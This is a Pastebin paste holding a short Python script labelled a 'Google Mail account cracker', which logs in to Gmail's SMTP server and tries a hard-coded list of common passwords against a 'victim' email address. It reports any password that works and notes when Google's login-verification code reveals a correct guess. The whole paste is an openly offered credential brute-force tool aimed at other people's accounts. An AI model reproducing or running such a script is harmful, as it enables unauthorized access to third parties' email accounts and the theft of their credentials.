Advertisement
BornePlays

sdas

May 29th, 2016
434
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.49 KB | None | 0 0
  1. import smtplib, time, sys
  2.  
  3. try:
  4. server = smtplib.SMTP('smtp.gmail.com',587)
  5. server.ehlo()
  6. server.starttls()
  7. except:
  8. print('[!] Error Connecting to SMTP Server')
  9. time.sleep(5)
  10. sys.exit()
  11.  
  12. passwords = ['password', 'admin', 'adminsitator', 'passwords', 'godlover', 'adminstatorlogin',
  13. 'pass1337', 'location', 'muslim', 'password10', 'mylovelycat', 'justinBieber', 'crackingMe', 'catanddoglover',
  14. 'ilovejesus', 'willgodeverbemyfriend', 'PaSssword']
  15. amount = len(passwords)
  16.  
  17. def bruteForce():
  18. print('[*] Status: Cracking ('+str(amount)+') passwords')
  19. for password in passwords:
  20. time.sleep(1)
  21. try:
  22. server.login(username, password)
  23. combination = (username+':'+password)
  24. print('[*] Combination Found: %s' %combination)
  25. break
  26. except smtplib.SMTPAuthenticationError as msg:
  27. if msg.smtp_code == 534:
  28. print('[534] Password correct email verification is enabled (%s)' %password)
  29. elif msg.smtp_code == 535:
  30. print('[535] Incorrect password (%s)' %password)
  31. print('[*] Status: Finished!')
  32. time.sleep(5)
  33. sys.exit()
  34.  
  35.  
  36. print '''
  37. *** GOOGLE MAIL ACCOUNT CRACKER ***
  38. example: JoeyEssex@gmail.com
  39. Add passwords to crack by viewing source
  40. If error 534 victim will receive email for login attempt
  41.  
  42. '''
  43.  
  44. username = raw_input('[*] Victim Email: ')
  45. bruteForce()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement